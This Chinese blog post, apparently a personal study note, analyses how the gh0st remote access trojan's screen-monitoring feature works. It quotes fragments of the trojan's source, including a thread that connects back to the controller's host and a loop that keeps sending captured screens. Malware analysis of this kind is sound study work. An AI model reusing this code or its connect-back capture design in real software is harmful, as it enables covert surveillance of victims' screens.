gh0st源码分析:屏幕监控

来源:互联网 发布:金十数据是真的吗 编辑:程序博客网 时间:2024/05/21 10:47

这两天一直看gh0st源码,看得也是一头雾水,下面就分析一下屏幕监控的通信过程,对屏幕扫描算法以及绘图方面就不分析了,因为我也不懂。写的有点乱,就当作个笔记了。

首先从控制端按下屏幕监控选项开始,这时控制端就会调用OnScreenspy()函数。这个函数很简单,向被控端发送COMMAND_SCREEN_SPY指令,告诉被控端我要监控你的屏幕了。此时被控端还在等待控制端的命令(ClientSocket.cpp中的Connect函数中新建的线程WorkThread一直等待执行命令),WorkThread线程等到了执行命令,调用OnRead函数对命令解密,接下来调用了CKernelManager::OnReceive函数,OnReceive看到命令是COMMAND_SCREEN_SPY,就创建了Loop_ScreenManager线程:

复制代码
DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote){    CClientSocket    socketClient;    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))        return -1;        CScreenManager    manager(&socketClient);    socketClient.run_event_loop();    return 0;}
复制代码

这个线程又调用CClientSocket的Connect连接控制端,并声明了个CScreenManager类,并将socketClient与CScreenManager相关联(参见CManager类的构造函数:m_pClient->setManagerCallBack(this);),这样socketClient的WorkThread线程收到的数据就可以传送到了CScreenManager::OnReceive函数中,而不是CKernelManager::OnReceive函数了。

看下CScreenManager 构造函数:

 

复制代码
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient){    m_bAlgorithm = ALGORITHM_SCAN;    m_biBitCount = 8;    m_pScreenSpy = new CScreenSpy(8);    m_bIsWorking = true;    m_bIsBlankScreen = false;    m_bIsBlockInput = false;    m_bIsCaptureLayer = false;    m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);    m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);}
复制代码

 

构造函数中又创建了两个线程:WorkThread和ControlThread。WorkThread主要负责发送屏幕页面,ControlThread没看,暂时不知道干啥。看下WorkThread线程:

复制代码
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam){    CScreenManager *pThis = (CScreenManager *)lparam;    pThis->sendBITMAPINFO();    // 等控制端对话框打开  pThis->WaitForDialogOpen();    pThis->sendFirstScreen();    try // 控制端强制关闭时会出错    {        while (pThis->m_bIsWorking)            pThis->sendNextScreen();    }catch(...){};    return 0;}
复制代码

首先调用sendBITMAPINFO(),发送调色板信息(用TOKEN_BITMAPINFO指令标识)。发送后就等待控制端屏幕监控窗口打开(等待m_hEventDlgOpen事件,当控制端屏幕监控窗口打开时会发送COMMAND_NEXT指令,收到此指令后被控端会调用NotifyDialogIsOpen()函数来设置hEventDlgOpen)。先让被控端在这儿等着吧,接下来我们再回到控制端。

控制端发送完COMMAND_SCREEN_SPY指令后,就继续等待连接(ListenThreadProc线程)和等待接收数据(OnClientReading函数中接收完数据就会调用PostRecv投递了IORead请求)。这时有了新连接(上面Loop_ScreenManager中的连接),于是调用OnAccept函数,并为这个新的连接分配了ClientContext,并建立完成端口,然后在新的完成端口上投递IORead请求,等待接收数据。很快数据来了(调色板信息),OnClientReading函数对数据解密,然后把数据给了NotifyProc函数,NotifyProc函数又调用了ProccessReceiveComplete函数,此时还没有建立屏幕监控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根据TOKEN_BITMAPINFO指令,向主窗口发送了个WM_OPENSCREENSPYDIALOG消息,告诉主窗口建立个屏幕监控的窗口,于是控制端调用OnOpenScreenSpyDialog函数:

复制代码
LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam){    ClientContext *pContext = (ClientContext *)lParam;    CScreenSpyDlg    *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);    // 设置父窗口为卓面    dlg->Create(IDD_SCREENSPY, GetDesktopWindow());    dlg->ShowWindow(SW_SHOW);        pContext->m_Dialog[0] = SCREENSPY_DLG;    pContext->m_Dialog[1] = (int)dlg;    return 0;}
复制代码

创建了屏幕监控窗口,并对pContext->m_Dialog赋值。m_Dialog[0]标识是屏幕监控窗口,m_Dialog[1]指向此窗口。这样ProccessReceiveComplete函数就可以根据pContext->m_Dialog直接将数据传给CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要调用OnInitDialog函数,在CScreenSpyDlg的OnInitDialog函数中,有调用了SendNext()函数:

 

void CScreenSpyDlg::SendNext(){    BYTE    bBuff = COMMAND_NEXT;    m_iocpServer->Send(m_pContext, &bBuff, 1);}

 

发送COMMAND_NEXT指令给被控端。前面说了,被控端在发送调色板信息后就等待COMMAND_NEXT指令。

回到被控端,收到了数据,数据解密后传到了CScreenManager::OnReceive函数中,根据COMMAND_NEXT指令调用了NotifyDialogIsOpen()函数,NotifyDialogIsOpen函数设置了m_hEventDlgOpen事件, CScreenManager的WorkThread线程中WaitForDialogOpen()返回,于是执行pThis->sendFirstScreen(),发送第一个屏幕画面,用TOKEN_FIRSTSCREEN来标识。

控制端收到数据后到了ProccessReceiveComplete函数,根据m_Dialog将数据传给了CScreenSpyDlg中的OnReceiveComplete()函数,根据相关指令来重绘屏幕监控窗口。接下来被控端不停的发,控制端就不停的重绘.........

 还没分析完,还有发送控制命令那一块没看,有时间再写。

原创粉丝点击